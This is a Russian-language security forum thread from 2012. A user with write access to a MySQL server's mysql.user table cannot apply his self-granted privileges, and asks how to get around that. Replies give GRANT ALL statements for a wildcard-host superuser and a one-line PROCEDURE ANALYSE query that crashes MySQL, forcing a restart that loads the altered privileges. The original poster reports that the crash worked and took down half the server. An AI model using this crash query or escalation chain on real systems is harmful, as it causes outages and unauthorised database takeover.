HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 20.03.2012, 18:40
Pirotexnik
Guest
Сообщений: n/a
Провел на форуме:
97332

Репутация: 38
По умолчанию

День добрый.

Есть сервер мускула, есть в нем акк, к которому можно цеплятся с любых айпи. У акка file_priv=n

НО! У этого же акка есть права на чтение и изменение mysql.user. Сам себе выставил привелегии, но не сработало. Как я понял, нужен ребут мускула.

Появилась идея добавить нового юзера, насколько я помно все его привелегии применяются при создание.

Если я прав, то скажите какой командой это сделать. Спасибо.
 
Ответить с цитированием

  #2  
Старый 20.03.2012, 18:48
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357

Репутация: 3742


Отправить сообщение для blackybr с помощью ICQ Отправить сообщение для blackybr с помощью AIM Отправить сообщение для blackybr с помощью Yahoo
По умолчанию

ребут мускула не нужен, нужно "ребутнуть" привелегии

FLUSH PRIVILEGES;
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
 
Ответить с цитированием

  #3  
Старый 20.03.2012, 19:14
Pirotexnik
Guest
Сообщений: n/a
Провел на форуме:
97332

Репутация: 38
По умолчанию

хе-хе) Палка о двух концах)

Цитата:
Сообщение от None  
Error: Access denied; you need (at least one of) the RELOAD privilege(s) for this operation
Хотя я поставил Y

Может получится создать нового юзера? Какая команда?
 
Ответить с цитированием

  #4  
Старый 30.03.2012, 02:17
mr.Penguin
Guest
Сообщений: n/a
Провел на форуме:
10816

Репутация: 74
По умолчанию

Цитата:
Сообщение от Pirotexnik  
Pirotexnik said:
Какая команда?
Создаем новую БД и нового юзера с полными правами на только что созданную базу:

Код:
Code:
CREATE DATABASE ;
GRANT ALL PRIVILEGES ON .* TO 'Pirotexnik'@'%'
IDENTIFIED BY 'Pirotexnikpassword' WITH GRANT OPTION;
Полные права на все БД:

Код:
Code:
GRANT ALL PRIVILEGES ON *.* TO 'Pirotexnik'@'%'
IDENTIFIED BY 'Pirotexnikpassword' WITH GRANT OPTION;
 
Ответить с цитированием

  #5  
Старый 31.03.2012, 00:46
Pirotexnik
Guest
Сообщений: n/a
Провел на форуме:
97332

Репутация: 38
По умолчанию

Цитата:
Сообщение от None  
CREATE DATABASE ;
Цитата:
Сообщение от None  
Error: Access denied for user 'translator'@'%' to database 'test2'
:/ :\
 
Ответить с цитированием

  #6  
Старый 31.03.2012, 01:10
mr.Penguin
Guest
Сообщений: n/a
Провел на форуме:
10816

Репутация: 74
По умолчанию

Цитата:
Сообщение от Pirotexnik  
Pirotexnik said:
:/ :\
Попробуйте так:

Код:
Code:
TO 'Pirotexnik'@'localhost'
Хотя этот запрос будет работать только на локалхосте, скорее всего ничего не произойдет.

Цитата:
Сообщение от Pirotexnik  
Pirotexnik said:
Код:
Code:
Error: Access denied for user 'translator'@'%' to database 'test2'
А вот этот запрос составлен абсолютно верно, просто Вам по какой-то причине отказано в доступе. У Вас точно полные права?
 
Ответить с цитированием

  #7  
Старый 31.03.2012, 02:01
Pirotexnik
Guest
Сообщений: n/a
Провел на форуме:
97332

Репутация: 38
По умолчанию

Я руками поставил себе права, т.к. есть доступ к изменению mysql.user

Но что бы преминить права нужно

Цитата:
Сообщение от None  
FLUSH PRIVILEGES;
А что бы выполнилась эта команда - нужны права
 
Ответить с цитированием

  #8  
Старый 05.04.2012, 21:55
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме:
835386

Репутация: 1463
По умолчанию

Цитата:
Сообщение от Pirotexnik  
Pirotexnik said:
Если я прав, то скажите какой командой это сделать. Спасибо.
l1ght находил такой способ

Код:
Code:
select 1 from table procedure analyse ((select 1 from (select 1)a),1);
mysql крашится от этого запроса

======

UPD

обычно проблем нет, мускул сразу же рестартует.

Проверяем аптайм.

SHOW STATUS LIKE 'Uptime'
 
Ответить с цитированием

  #9  
Старый 07.04.2012, 19:40
Pirotexnik
Guest
Сообщений: n/a
Провел на форуме:
97332

Репутация: 38
По умолчанию

Нифига себе! Крашнуло! Спасибо!

Только заодно упало пол сервера ещё

____

Да, все круто! Ещё раз спасибо! Возьму на заметку.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ